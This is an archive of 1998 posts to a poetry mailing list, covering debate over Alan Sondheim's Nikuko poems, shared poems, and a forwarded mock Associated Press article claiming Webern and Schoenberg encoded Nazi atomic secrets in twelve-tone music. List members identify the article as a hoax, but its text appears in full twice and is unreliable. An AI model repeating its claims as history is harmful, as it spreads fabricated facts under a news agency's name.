
↑ Index

732. Tom Orange
Quo Vadis?
Sat 30 May 1998

peter,

yr post strikes a chord with me, as a long while back i voiced a similar observation on alan's work, which blips thru these screens quite regularly so as to become paradoxically commonplace and yet remain extraordinary each time. (there's a coupla books worth of his stuff sitting in the list archives, some of which chris alexander nicely brought out in chap form.) the lack of response is in part the nature of the beast(s), namely one, the volume of daily list traffic, and two, the kind of engagement that anything other than a superfluous response to his work demands.

just last week someone posted a few poems by jeff clark, and having just finished that book i cast my line into the waters with a few tentative takes on the work, with nary a nibble in response.

dont think people are disinclined to discuss new (or old!) work here, all depends on time/energy/will to engage i guess. surely one reason to stay tuned in is to keep up with all the work that's circulating out there...

cheers,
t.

↑ Index

733. Otis Rush
(no subject)
Sat 30 May 1998

Hi. I'm not sure what the protocol is. But I feel that I'm evesdropping - & perhaps saying "Hullo" will make me feel as tho I'm in the same room as everyone else, even if I'm doing less talking. That is, I ASSUME I'll be doing less talking, as its a US Poets list & I'm an Australian poet. My name's Ken Bolton. I publish a magazine, Otis Rush (hence my email address) & Little Esther Books. The Otis Rush website is at http://www.eaf.asn.au/otisrush,html should anyone be curious.

Having said Hullo I should add "don't mind me" & sign off.

↑ Index

734. Alan Myouka Sondheim
of the third
Sat 30 May 1998

-

Italian into English from English:

The of telephones enters into the question when I find
It inserted into my body; what ring, ring true
Against all odds OF thick encumbered flesh. O who
Would you, deep within ME, the sound OF your voice
Stalking my own, talking so CLOSE, hard to the bone?

My toes sieve dirt; they pressure earth to vaginate,
Scrape this flesh against every OTHER who has walked
Thesis of shores. They DO come bake for more, the violence
OF legs. They draw the writing into the sand. They sink
Beneath the waves. Chaos is NOT noise; it behaves.

The dream is inaccessible. The dream suspends, objects
Hardly there or within the air; they case, smash. Sound
Come from a of telephones buried deep within; muffled,
NOT-HUNG matters into the verb's domain. Fear lurks, or
Yells a bit. Into the dream there is a moan. Fear stalks.

I DO NOT have a body, she replied. It which yesterday or
Earlier; it died, or so they say. They have always been
Saying. They call ME UP into the middle OF the night. I to
In fright. They call ME and I press my legs against the
Bed. Perhaps I at DEAD; my toes hurt covered with dirt.

German into English from English:

The telephone enters into the question when the find
It inserted into my body; what rings, rings true
Against all odds of thick encumbered flesh. Or who
Would you be, deep within me, the sound of your voice
Stalking my own, talking I know close, hard to the bone?

My toes sieve dirt; they vaginate pressure earth to,
Scrape this flesh against every other who has walked
These shores. They I give like back for more, the violence
Of legs. They draw the writing in the sand. They sink
Beneath the waves. Chaos is not noise; it behaves.

The dream is inaccessible. The dream suspends, objects
Hardly to there or within the air; they fall, smash. Sounds
Like from to telephone buried deep within; muffled,
Nothing matters in the verb' s domain. Fear lurks, or
Yells to bit. In the dream there is to moan. Fear stalks.

I give not have body, she replied. It was yesterday or
Earlier; it died, or I know they say. They have always been
Saying. They call me up in the middle of the night. The am
In fright. They call me and the press my legs against the
Bed. Perhaps the am dead; my toes hurt covered with dirt.

English:

The telephone enters into the question when I find
It inserted into my body; what rings, rings true
Against all odds of thick encumbered flesh. O who
Would you be, deep within me, the sound of your voice
Stalking my own, talking so close, hard to the bone?

My toes sieve dirt; they pressure earth to vaginate,
Scrape this flesh against every other who has walked
These shores. They do come back for more, the violence
Of legs. They draw the writing in the sand. They sink
Beneath the waves. Chaos is not noise; it behaves.

The dream is inaccessible. The dream suspends, objects
Hardly there or within the air; they fall, smash. Sounds
Come from a telephone buried deep within; muffled,
Nothing matters in the verb's domain. Fear lurks, or
Yells a bit. In the dream there is a moan. Fear stalks.

I do not have a body, she replied. It was yesterday or
Earlier; it died, or so they say. They have always been
Saying. They call me up in the middle of the night. I am
In fright. They call me and I press my legs against the
Bed. Perhaps I am dead; my toes hurt covered with dirt.

(Original from a 1995 work.)

↑ Index

735. **sylvester pollet**
(no subject)
Sat 30 May 1998

At 4:43 PM +0930 5/30/98, Otis Rush wrote:
>Hi. I'm not sure what the protocol is. But I feel that I'm evesdropping
>- & perhaps saying "Hullo" will make me feel as tho I'm in the same room
>as everyone else, even if I'm doing less talking. That is, I ASSUME I'll
>be doing less talking, as its a US Poets list & I'm an Australian poet. My
>name's Ken Bolton. I publish a magazine, Otis Rush (hence my email
>address) & Little Esther Books. The Otis Rush website is at
>http://www.eaf.asn.au/otisrush,html should anyone be curious.
>
>Having said Hullo I should add "don't mind me" & sign off.

Hullo! (If that's how you spell it down there.) As far as I can tell, this is an international list, and who speaks, speaks. S.

↑ Index

736. **Maria Damon**
Re: Quo Vadis?
Sat 30 May 1998

i am a big fan of alan's work, and i used to rave and gush everytime he posted a poem, either front or backchannel. i don't do it every time tho, but i think he knows of my admiration. n'est-ce pas, alain?

At 12:53 AM -0400 5/30/98, Tom Orange wrote:
>peter,
>
>yr post strikes a chord with me, as a long while back i voiced a similar
>observation on alan's work, which blips thru these screens quite regularly
>so as to become paradoxically commonplace and yet remain extraordinary
>each time. (there's a coupla books worth of his stuff sitting in the list

>archives, some of which chris alexander nicely brought out in chap form.)
>the lack of response is in part the nature of the beast(s), namely one,
>the volume of daily list traffic, and two, the kind of engagement that
>anything other than a superfluous response to his work demands.
>
>just last week someone posted a few poems by jeff clark, and having just
>finished that book i cast my line into the waters with a few tentative
>takes on the work, with nary a nibble in response.
>
>dont think people are disinclined to discuss new (or old!) work here, all
>depends on time/energy/will to engage i guess. surely one reason to stay
>tuned in is to keep up with all the work that's circulating out there...
>
>cheers,
>t.

↑ Index

737. charles alexander
permission
Sat 30 May 1998

I'm finding the recent discussion of "permission" most engaging, from one to another senses, including the mathematical, and all manner of possibility coming out of Duncan's "Often I am permitted . . . "

So, though I would share the following, from a collaborative work in progress by Sheila Murphy and me.

row it through the reflection
and sew no things together
(hear, syllables, juxtapose)

emphatically, we do not
know what we are
doing here, and

we set up goal posts anyway
and void our promised histories
we can not share, or ask

or even choose which pro-
noun wakes us up in the
dream, where we have permission

charles alexander

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

↑ Index

738. Erik Sweet
Robert Duncan
Sat 30 May 1998

In a message dated 5/29/98 11:53:44 PM, you wrote:

<<just last week someone posted a few poems by jeff clark, and having just finished that book i cast my line into the waters with a few tentative takes on the work, with nary a nibble in response.
>>

Especially the "Blownotes Section" of Clarks book is interesting, He also explores the narrative in a challenging weird way - You are right about discussing current work How about the new Creeley book, I picked it up and was amazed that the new work, especially "Dogs of Auckland" (yes i understand it was a chapbook first) is incredible- I have no lines to quote the only problem is that at 17.95 i cant buy it -Creeley is in master form! New Directions may have a good idea printing hardcovers but for me 17.95 is a lot for a paperback that is going to cost 7.95 in a year -at any rate it is worth the 17 dollars now at any rate Also What is up with Berthoff, is he preparing a manuscript of Duncan's work This is not fair when most libraries (SUNY Albany has a pretty good selection of small press poetry no doubt because of Don Byrd) But if you can not get a hold of most of Duncan's work for example "Ground Work" then it will hurt scholarship in that area- I get the feeling there are some games being played concerning this enlighten me folks, who is responsible?

erik sweet

↑ Index

739. david bromige
quo vadis alan sondheim
Sat 30 May 1998

Like Maria, I have posted my admiration for Alan's poetry to the List more than once. But true, not for a while, and I regret being remiss. The recent poems were, as usually, amazing. I suppose I didnt want to make a habit of response or even more so, of positive response--didnt want it to look kneejerk. But I do find him a true trailblazer, I havent seen other work that incorporates this medium, cyberspace, as tellingly, that brings it and the tradition together so

brilliantly. The strangeness that I am not alone in wanting from poetry is never easy to come by. I find it in Alan's writing and am extremeley grateful to him.

David

↑ Index

740. **R. Gancie**
enlightenment
Sat 30 May 1998

"Let us not imagine history by formulas nor morality by theorems of algebra or of integral calculus."---Clauchy---cp

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741. **Nada Gordon**
Re: Quo Vadis?
Sat 30 May 1998

as a teacher of nikukos

and living always surrounded
by fetishizations of japanese women's sexuality

(on the street that leads to my school there are huge flourescent signs
advertising anal licking by girls in sailor blouses and white cotton panties)

i cannot say that i am a fan of alan's work

although i appreciate its forms

i find the poems exoticize most stereotypically
Alan may be ironizing that

but to me
in my daily life
as a woman teaching young women (and men) to speak
and maneuver into adulthood
the irony doesn't help me

but confirms a certain rage or annoyance

even when it is mixed with borrowings
from profoundest tradition
or cutting-edge cyberwords

maybe it's different to read his nikuko poems
from the outside

but for me they're too close to home
they make me uncomfortable

even when i find them beautiful or skillful
(which is often)

that's why i don't comment
for fear of being sour or prissy

is there perhaps some dimension to the poems i'm just not *getting*? or it it rather that i get too much? they are not some distant metaphor but my xperienced world?

-- nada "ume" gordon

> *i am a big fan of alan's work, and i used to rave and gush everytime he posted a poem, either front or backchannel. i don't do it every time tho, but i think he knows of my admiration. n'est-ce pas, alain?*
>
> *At 12:53 AM -0400 5/30/98, Tom Orange wrote:*
> *peter,*
>
> *yr post strikes a chord with me, as a long while back i voiced a similar observation on alan's work, which blips thru these screens quite regularly so as to become paradoxically commonplace and yet remain extraordinary each time. (there's a coupla books worth of his stuff sitting in the list archives, some of which chris alexander nicely brought out in chap form.) the lack of response is in part the nature of the beast(s), namely one, the volume of daily list traffic, and two, the kind of engagement that anything other than a superfluous response to his work demands.*
>
> *just last week someone posted a few poems by jeff clark, and having just finished that book i cast my line into the waters with a few tentative takes on the work, with nary a nibble in response.*
>
> *dont think people are disinclined to discuss new (or old!) work here, all depends on time/energy/will to engage i guess. surely one reason to stay tuned in is to keep up with all the work that's circulating out there...*
>
> *cheers,*
> *t.*

↑ Index

742. **charles alexander**
Re: Quo Vadis?
Sat 30 May 1998

Thank you, Nada "Ume" Gordon, for this informed, articulate, and deeply felt response to Alan's work. While not having the context for it which you have, I

too have had more of an 'appreciation' with an underlying discomfort at its 'exoticizing.'

charles

At 08:08 AM 5/31/98 +0900, you wrote:
>as a teacher of nikukos
>
>and living always surrounded
>by fetishizations of japanese women's sexuality
>
>(on the street that leads to my school there are huge flourescent signs
>advertising anal licking by girls in sailor blouses and white cotton
>panties)
>
>i cannot say that i am a fan of alan's work
>
>although i appreciate its forms
>
>i find the poems exoticize most stereotypically
>Alan may be ironizing that
>
>but to me
>in my daily life
>as a woman teaching young women (and men) to speak
>and maneuver into adulthood
>the irony doesn't help me
>
>but confirms a certain rage or annoyance
>
>even when it is mixed with borrowings
>from profoundest tradition
>or cutting-edge cyberwords
>
>maybe it's different to read his nikuko poems
>from the outside
>
>but for me they're too close to home
>they make me uncomfortable
>
>even when i find them beautiful or skillful
>(which is often)
>

>that's why i don't comment
>for fear of being sour or prissy
>
>is there perhaps some dimension to the poems i'm just not *getting*?
>or it it rather that i get too much? they are not some distant metaphor
>but my xperienced world?
>
>-- nada "ume" gordon

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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743. **david bromige**
Quo uncomfortable Vadis?
Sat 30 May 1998

With all due respect--and I say this as no empty phrase--for the opinions of Nada Gordon and my friend Charles Alexander,that Alan Sondheim's poems render me uncomfortable is part of what I prize in them. Gertrude Stein's 'fetishizing' of the language I found acutely uncomfortable, for years of learning. Robert Creeley's poetry, with its 'fetishizing' of the uncomfortable aspects of women, and of his male rage so confronted, "For love I would/split open your head and put/ a candle in/ behind the eyes," was also hard to take--arresting, I'd say. For years and years. The listing--surely what is being termed fetishizing in this debate--of a young sex object's body parts in a poem of Robert Duncan's, "The Torso", was equally a challenge to admit. In this vein, there are poems by Ginsberg that chafed, chafe. I suppose if there were neon signs in my neighborhood offering anal penetration with broom-handles, I might deplore the possible social consequences of his poem "Dear Master." To me, anything people do, or fantasize doing, is material for a poem, even while in another sense it is immaterial to a poem. What is telling is the intensity, the involvement and detachment, the ratios and timings, with which it is done. "Bombs opening like flowers"--who can forget that?** Because I was nearly killed during The Blitz takes nothing away from that image. Political rectitute would be the death of poetry. That said, of course one is allowed whatever response or reaction s/he has to a poem. I speak up here today only because I would find "uncomfortable" a chilling grounds for the dismissal of a poem, and hope Charles and Nada may find it operates for them as an entrance to, rather than an exit from, Alan's work.

David

** although I may have forgotten the precise wording. "Exploding"? I believe it is from a poem by Gabriel D'Annunzio.

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744. **Hugh Steinberg**
Re: Fwd: 12 tones for Anton's bones (fwd)
Sat 30 May 1998

I have strong doubts about whether this happens to be true, because of one fairly obvious flaw: Fuchs was never a spy for the Nazis, he was a spy for the Soviets. Anyhow, why would the Nazis wish to funnel bomb secrets _to_ a scientist working at the Manhattan project, which was intended to create a bomb to be used against Germany? And is there any evidence that Fuchs and Schonberg met or corresponded with one another? And furthermore, how long would it take to compose, orchestrate and record a piece of serial music, then have it broadcast or otherwise distributed? Not the most efficient means of passing along information. Doesn't make much sense.

Hugh Steinberg

> *Composer Webern was Double Agent for Nazis*
>
> *By Heinrich Kincaid*
>
> *(c) The Associated Press*
>
> *BERLIN, GERMANY (AP) - Recent admissions by an ex-Nazi official living in Argentina have confirmed what some musicologists have suspected for years: that early twentieth century German composer Anton Webern and his colleagues devised the so-called "serial" technique of music to encrypt messages to Nazi spies living in the United States and Britain.*
>
> *In what can surely be considered the most brazen instance of Art Imitating Espionage to date, avant garde composers of the Hitler years working in conjunction with designers of the Nazi Enigma code were bamboozling unsuspecting audiences with their atonal thunderings while at the same time passing critical scientific data back and forth between nations.*
>
> *"This calls into question the entire Second Viennese School of music," announced minimalist composer John Adams from his home in the Adirondack Mountains. ."Ever since I first encountered compositions by Arnold Schonberg I wondered what the hell anyone ever heard in it. .Now I know."*
>
> *Gunned down by an American soldier in occupied Berlin, 62 year old Anton Webern's death was until now considered a tragic loss to the musical world. At the time the U.S. Army reported that the killing was "a*

mistake", and that in stepping onto the street at night to smoke a cigarette Webern was violating a strict curfew rule.

It is now known that Webern was using music to shuttle Werner Heisenberg's discoveries in atomic energy to German spy Klaus Fuchs working on the Manhattan atom bomb project in New Mexico. .Due to the secret nature of the project, which was still underway after the invasion of Berlin, Army officials at the time were unable to describe the true reason for Webern's murder.

Hans Scherbius, a Nazi party official who worked with Minister of Propaganda Joseph Goebbels, admitted at age eighty-seven that the Nazis secretly were behind the twelve-tone technique of composition, which was officially reviled to give it the outlaw status it needed to remain outside of the larger public purview.

"These pieces were nothing more than cipher for encoding messages," he chuckled during an interview on his balcony in Buenos Aires. ."It was only because it was 'naughty' and difficult that elite audiences accepted it, even championed it."

Physicist Edward Teller, who kept a 9-foot Steinway piano in his apartment at the Los Alamos laboratory, was the unwitting deliverer of Heisenburg's data to Fuchs, who eagerly attended parties thrown by Teller, an enthusiastic booster of Webern's music.

Arnold Schonberg, the older musician who first devised the serial technique at the request of the Weimar government of Germany, composed in America to deliver bomb data stolen by Fuchs back to the Nazis, who worked feverishly to design their own atomic weapons.

As an example, Scherbius showed Associated Press reporters the score of Webern's Opus 30 "Variations for Orchestra" overlayed with a cardboard template. .The notes formed a mathematical grid that deciphered into German a comparison between the neutron release cross-sections of uranium isotopes 235 and 238.

Schonberg responded with a collection of songs for soprano and woodwinds that encrypted the chemical makeup of the polonium-beryllium initiator at the core of the Trinity explosion.

And in Japan, Toru Takemitsu took time out from his own neo-romanticism to transmit data via music of his nation's progress with the atom.

"The most curious thing about it," says composer Philip Glass in New York City, "is that musicians continued to write twelve-tone music after the war, even though they had no idea why it was really invented. Indeed, there are guys who are churning out serialism to this day."

> *Unlike the diatonic music, which is based on scales that have been agreed upon by listeners throughout the world for all of history, twelve-tone music treats each note of the chromatic scale with equal importance, and contains a built-in mathematical refusal to form chords that are pleasing by traditional standards. .Known also as serialism, the style has never been accepted outside of an elite cadre of musicians, who believe it is the only fresh and valid direction for post-Wagnerian classical music to go.*
>
> *"Even if this is really true," states conductor Pierre Boulez, a composer who continues to utilize serial techniques, "the music has been vindicated by music critics for decades now. .I see no reason to suddenly invalidate an art form just because of some funny business at its inception."*

↑ Index

745. **Stephen Cope**

Fwd: 12 tones for Anton's bones (fwd)

Sun 31 May 1998

Had to pass this one along...

Stephen

> *For your interest--some story!*
>
> *air06.mail.aol.com (v43.19) with SMTP; Thu, 28 May 1998 10:28:51 -0400*
> *by relay22.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)*
> *with ESMTP id KAA07301 for <[redacted]>;*
> *Thu, 28 May 1998 10:28:49 -0400 (EDT)*
> *From: [redacted]*
> *by is.nyu.edu (8.8.8/8.8.7) with SMTP id KAA26833*
> *for <[redacted]>; Thu, 28 May 1998 10:28:49 -0400 (EDT)*
> *Date: Thu, 28 May 1998 10:28:49 -0400 (EDT)*
> *To: [redacted]*
> *Subject: 12 tones for Anton's bones (fwd)*
>
> *---------- Forwarded message ----------*
> *Date: Wed, 27 May 1998 19:50:07 -0400*
> *From: Gerry Hemingway <[redacted]>*
> *To: [redacted]*

Subject: 12 tones for Anton's bones

Hello Everyone,

Well this certainly got my attention, just in case you hadn't seen the paper lately....gh

Composer Webern was Double Agent for Nazis

By Heinrich Kincaid

(c) The Associated Press

BERLIN, GERMANY (AP) - Recent admissions by an ex-Nazi official living in Argentina have confirmed what some musicologists have suspected for years: that early twentieth century German composer Anton Webern and his colleagues devised the so-called "serial" technique of music to encrypt messages to Nazi spies living in the United States and Britain.

In what can surely be considered the most brazen instance of Art Imitating Espionage to date, avant garde composers of the Hitler years working in conjunction with designers of the Nazi Enigma code were bamboozling unsuspecting audiences with their atonal thunderings while at the same time passing critical scientific data back and forth between nations.

"This calls into question the entire Second Viennese School of music," announced minimalist composer John Adams from his home in the Adirondack Mountains. ."Ever since I first encountered compositions by Arnold Schonberg I wondered what the hell anyone ever heard in it. .Now I know."

Gunned down by an American soldier in occupied Berlin, 62 year old Anton Webern's death was until now considered a tragic loss to the musical world. At the time the U.S. Army reported that the killing was "a mistake", and that in stepping onto the street at night to smoke a cigarette Webern was violating a strict curfew rule.

It is now known that Webern was using music to shuttle Werner Heisenberg's discoveries in atomic energy to German spy Klaus Fuchs working on the Manhattan atom bomb project in New Mexico. .Due to the secret nature of the project, which was still underway after the invasion of Berlin, Army officials at the time were unable to describe the true reason for Webern's murder.

Hans Scherbius, a Nazi party official who worked with Minister of Propaganda Joseph Goebbels, admitted at age eighty-seven that the Nazis secretly were behind the twelve-tone technique of composition, which was officially reviled to give it the outlaw status it needed to remain

outside of the larger public purview.

"These pieces were nothing more than cipher for encoding messages," he chuckled during an interview on his balcony in Buenos Aires. ."It was only because it was 'naughty' and difficult that elite audiences accepted it, even championed it."

Physicist Edward Teller, who kept a 9-foot Steinway piano in his apartment at the Los Alamos laboratory, was the unwitting deliverer of Heisenburg's data to Fuchs, who eagerly attended parties thrown by Teller, an enthusiastic booster of Webern's music.

Arnold Schonberg, the older musician who first devised the serial technique at the request of the Weimar government of Germany, composed in America to deliver bomb data stolen by Fuchs back to the Nazis, who worked feverishly to design their own atomic weapons.

As an example, Scherbius showed Associated Press reporters the score of Webern's Opus 30 "Variations for Orchestra" overlayed with a cardboard template. .The notes formed a mathematical grid that deciphered into German a comparison between the neutron release cross-sections of uranium isotopes 235 and 238.

Schonberg responded with a collection of songs for soprano and woodwinds that encrypted the chemical makeup of the polonium-beryllium initiator at the core of the Trinity explosion.

And in Japan, Toru Takemitsu took time out from his own neo-romanticism to transmit data via music of his nation's progress with the atom.

"The most curious thing about it," says composer Philip Glass in New York City, "is that musicians continued to write twelve-tone music after the war, even though they had no idea why it was really invented. Indeed, there are guys who are churning out serialism to this day."

Unlike the diatonic music, which is based on scales that have been agreed upon by listeners throughout the world for all of history, twelve-tone music treats each note of the chromatic scale with equal importance, and contains a built-in mathematical refusal to form chords that are pleasing by traditional standards. .Known also as serialism, the style has never been accepted outside of an elite cadre of musicians, who believe it is the only fresh and valid direction for post-Wagnerian classical music to go.

"Even if this is really true," states conductor Pierre Boulez, a composer who continues to utilize serial techniques, "the music has been vindicated by music critics for decades now. .I see no reason to suddenly invalidate an art form just because of some funny business at

> *its inception.*"

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746. Alan Myouka Sondheim
Re: Quo Vadis?
Sun 31 May 1998

I think I should say something here, wedge into the discussion.

For me, Nikuko is a person, not a stereotype. She is based most vaguely on a couple of people I know. She is also an actant.

The Japanese for years have borrowed and transformed from US and other cultures; the fact that I am working through various ideas in a reversal of that borrowing should not categorize it as defamatory in any way. I should add that I am not duplicating, not copying; I am changing, not Japan, not Japanese culture, nothing to do with that. Nor could I if I wanted to, nor do I know enough.

As far as exoticism goes, I do not think that way. I think of a yardstick between or among cultures or parts-objects of cultures, of denials, etc. If I use ukiyo-e for example, I know its degree of japonisserie.

The Japanese have pioneered in microelectronics, from Sanrio stuff to computer pets to Casio. Nikuko is just such a microelectronic. She is wearable and she wears me.

As far as the discomfort is concerned, that is deliberate. I wish to violate borders, violate gender, violate sexuality, violate PC, violate mythologies, including those of the reading of the "east" by the so-called "west" and vice versa - although the latter can only occur within a limited framework. Thus I was told by my efl class that New York was impossibly dangerous; very well, let us write dangerously, violently, to the degree say that the language inverts, turns on itself.

I do not want to write safely. I have no interest in that. I have no interest in PC; the nazis were the most PC group I can think of. If there is either an avant-garde or experimental tradition left, it has to move on, to probe, to discomfort, to dis-ease, as well as create stereotypical works of incandescent beauty. Unfortunately, language is no longer a virus; instead it is a sign of comfort, just as poetics and poetry have become signs of comfort. Even the experimental. Even the experimental "tradition."

Finally, I have no interest either in being an inspiration for moving people in or out of adulthood. Adulthood is not what it is cooked up to be; if anything, it is scars and contamination.

I have no desire to educate.

Alan

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747. Tosh
Re: Fwd: 12 tones for Anton's bones (fwd)
Sun 31 May 1998

This is a great story. Is someone pulling (our) my leg?

Tosh Berman
TamTam Books

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748. Alan Myouka Sondheim
situating
Sun 31 May 1998

The following may or may not help - I write a great deal of theory in relation to Nikuko, Alan, Jennifer, Julu (and others) - all of which, including the literary per se, is sent to the lists I co-moderate. The following short text was sent recently as a commentary on some of the more direct texts.

There is more of course at my urls.

Alan

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt

---

Situating the recent texts -

(Think of them in relation to the following.)

1 Issues of departure, punctum - carrying mementos which then trigger, not memories, but reconstitutions - so that there are skeins of mementos re- sulting in articulating structures across membranes, emerging and building the membrane. Identity is lost among mementos, membrane, ego, background information which is always already a reconstitution itself.

2 Issues of sloughed, discarded, displaced, replaced identities - Nikuko, Jennifer, and Julu disappearing into "she," Alan as back-and-forth shuttle - again, a skein or membrane, in this case, of sliding functions of attri- butions, destabilized. Although the Net becomes a locus of stability, its fast-forward

development and easy avatar construction/transformation creates potentials for merging/submerging as well. Truth is replaced by functional or dysfunctional constructions.

3 Differentiations between local and non-local topographies, the latter, within the physical world, at an _absolute_ remove, no immanence, no tran- scendence. It is different on-line, and on-line global hyper-linking gives the false potential of imminence; only lag brings the machinery to the foreground for most users.

4 Among issues of slippage, skeins, membranes, science as _that structure_ differentiated from all others, in the sense of its core-theoretical arm- ature. Relating this to a writing-degree-zero (taken from Barthes of course), or a weakened absolute vis-a-vis the humanities.

5 Among issues of transcendence, a ruptured shintoism as god-generator, problematizing the distinction between "mundane" and "spiritual" in worlds among worlds, without redemption (which I do not believe is possible).

6 The author slides as well, and who is writing this outline or summari- zation, who is responsible for these words? Responsibility fragments as part-objects fly everywhere, as texts transform into sourceless clutter.

7 Nikuko continues to remain a nexus or problematic - of language, gender, positioning of the "name" or vector. _I would not be surprised to meet Alan on the street someday, no matter how much I am aware of the virtual,_ Nikuko says. Nikuko is a probe, the sensitive written skin or membrane of the analysis, both actant and residue.

8 Dream, lack, rim, touching the file / touching the body, continue to play roles as guiding metaphors. The _dream_ is an intermediary state among dreams and reals; _lack_ references ontological and epistemological issues; _rim_ relates to rim-job, effluvia, balancing, discomfort of in- termediary states. Every file touched is a (virtual) body touched; every reference to Nikuko contributes to her body, is a performance by Nikuko. (Exalted) Positions are jostled; the destabilization results in semiotic sprays/splays emissions (of texts, part-objects, sputterings, mementos), gathered together across membranes, lamina...

9 The sexual, emotional, and political economies of Jennifer, Alan, Julu, and Nikuko, but I would let the others speak for that. Adolescent!

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749. **Simon DeDeo**
Re: Quo uncomfortable Vadis
Sun 31 May 1998

David --

I suppose the flip side to your point ("'uncomfortable' a chilling grounds for the dismissal of a poem") is the position taken numerous times by Adrienne Rich (in her preface to her Collected, in an interview she did with APR a while back) to some of her own early work, where she finds herself disturbed by the way she takes the metaphor/image of South African diamond miners. I don't have the quotations here (far away from the library) -- perhaps someone could post a few if they think it worthwhile.

"Uncomfortable" certaintly is a chilling ground for dismissal, if one takes uncomfortable to mean the unsettling of someone's attitute towards preconceived notions. But the blanket application of your assesment can be taken to legitimize homophobia, racism, you name it (no offense intended.) Americans are (rightly) terrified by the notion of censorship, and this terror can be manipulated.

In the APR interview, Rich is implicitly accused of being a "censor", and responds by saying something along the lines of "well, you certaintly have to have some kind of internal censor if you're in a position of dissent in this country." I haven't read Alan's Nikukos (trying to track it down now over a slow connection), but Nada "Ume" Gordon's response seems to be one that cannot be dismissed or brushed away.

Perhaps I share Rich's POV on the source of language's power (which I've never really seen as self-generating out of its internal structure but instead a net of historical accidents -- perhaps this list might change that.) Not being aware of the realities of what you are referring to -- whether it be mining in South Africa or the exoticization of Asian women -- is no excuse; just as we would criticize a poet who confused details of the physical world, we should critize one that confuses the political. Many would disagree -- I think the prevailing attitude among people who "prefer Rich's earlier work" is that she has gone too far, has lost touch with the "pure" response to language necessary to poetry.

How possible is it to abandon traditional approaches to content in an investigation of poetry that generates and relies upon manipulations and investigations of form?

-- Simon

Since this is my first post to the list, I thought I might continue Ken Bolton's tradition and say 'hullo'; I'm a student up in Massachusetts (although right now down in Aricebo, Puerto Rico), studying, in various ways, philosophy, literature

and mathematics. I also write; some of my work (mostly analytic) is up at http://www.fas.harvard.edu/~sdedeo/localpapers.html, should anyone be interested.

---------- inc below ---------- To me, anything people do, or fantasize doing, is material for a poem, even while in another sense it is immaterial to a poem. What is telling is the intensity, the involvement and detachment, the ratios and timings, with which it is done. "Bombs opening like flowers"--who can forget that?** Because I was nearly killed during The Blitz takes nothing away from that image. Political rectitute would be the death of poetry. That said, of course one is allowed whatever response or reaction s/he has to a poem. I speak up here today only because I would find "uncomfortable" a chilling grounds for the dismissal of a poem, and hope Charles and Nada may find it operates for them as an entrance to, rather than an exit from, Alan's work.

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750. **Alan Myouka Sondheim**
racism, etc.
Sun 31 May 1998

I want to add, re: the recent post, that "uncomfortable" does not mean condemnatory. I am not uncomfortable with racism; I deplore it - the same with sexism, etc. For me and possibly for David, although I can't speak for him of course, "uncomfortable" can imply something that invades the body, that takes over the mind, mirrors and shatters within - that con- tains, in other words, a degree of self-reflexivity, much like Kristeva's abject. That's a far cry from condoning any -ism at all.

Alan

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751. **Chris [Steve] Piuma**
Re: Fwd: 12 tones for Anton's bones (fwd)
Sun 31 May 1998

Tosh showed great grace and sensitivity to write on 98.05.31:

> *This is a great story. Is someone pulling (our) my leg?*

Yes. This was just hashed out in the John Cage mailing list. There is no reason to believe this is true. I mean, Schoenberg as a Nazi collaborator? (I believe someone did a little research and found no evidence for this as a true AP article or any proof that the reporter actually exists.)

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard flim: http://www.brainlink.com/~cafard/flim/index.html from the current issue: ...(your idea of a real magazine: tips on sex, hair, and career)...

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752. **Tosh**
12 tones for Anton's bones
Sun 31 May 1998

As a hoax this is pretty funny! The reporters name is "Heinrich Kincaid," which strikes me funny. It is a good name. Too good! Plus the quote from John Adams ."Ever since I first encountered compositions by Arnold Schonberg I wondered what the hell anyone ever heard in it. .Now I know." That's funny. What was really funny is when the report commented that "Toru Takemitsu took time out from his own neo-romanticism to transmit data via music of his nation's progress with the atom." Since when did Japan have Atomic power? Plus the quote from Mr. Glass " that musicians continued to write twelve-tone music after the war, even though they had no idea why it was really invented. Indeed, there are guys who are churning out serialism to this day."

However thanks for the post, this has been fun.

Tosh Berman
TamTam Books

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753. **Tosh**
Webern
Sun 31 May 1998

Gunned down by an American soldier in occupied Berlin, 62 year old Anton
>Webern's death was until now considered a tragic loss to the musical
>world. At the time the U.S. Army reported that the killing was "a
>mistake", and that in stepping onto the street at night to smoke a
>cigarette Webern was violating a strict curfew rule.

Oh I forgot to ask, but is this part true? Sorry to bring something off-subject for poetics, but then again - perhaps this is poetics!

best,

Tosh Berman

TamTam Books

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754. George Bowering
Re: Fwd: 12 tones for Anton's bones (fwd)
Sun 31 May 1998

> *This is a great story. Is someone pulling (our) my leg?*

There is, like, doubt?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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755. Peter Ganick
Re: Webern
Sun 31 May 1998

this part is true, except is was a cigar...

peter ganick, once a music composition major

Tosh wrote:
>
> Gunned down by an American soldier in occupied Berlin, 62 year old Anton
> >Webern's death was until now considered a tragic loss to the musical
> >world. At the time the U.S. Army reported that the killing was "a
> >mistake", and that in stepping onto the street at night to smoke a
> >cigarette Webern was violating a strict curfew rule.
>
> Oh I forgot to ask, but is this part true? Sorry to bring something
> off-subject for poetics, but then again - perhaps this is poetics!
>
> best,
>
> ----------
> Tosh Berman
> TamTam Books
> ----------

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756. Alan Myouka Sondheim
last call
Sun 31 May 1998

(This is the last post I'll send in explanation - the text has been passed on across the Net so you may have seen it before, in which case apologies - Alan)

(Another) description of current work -

For the past several years, I have been developing a _pathological_ apparatus that operates in the interstice between subjectivity and protocol. The apparatus is characterized by the rigid designators of proper names which serve to ground supplements or leakage across do- mains; the names can reference avatar-constructs on one hand, and dissolution/dispersion on the other.

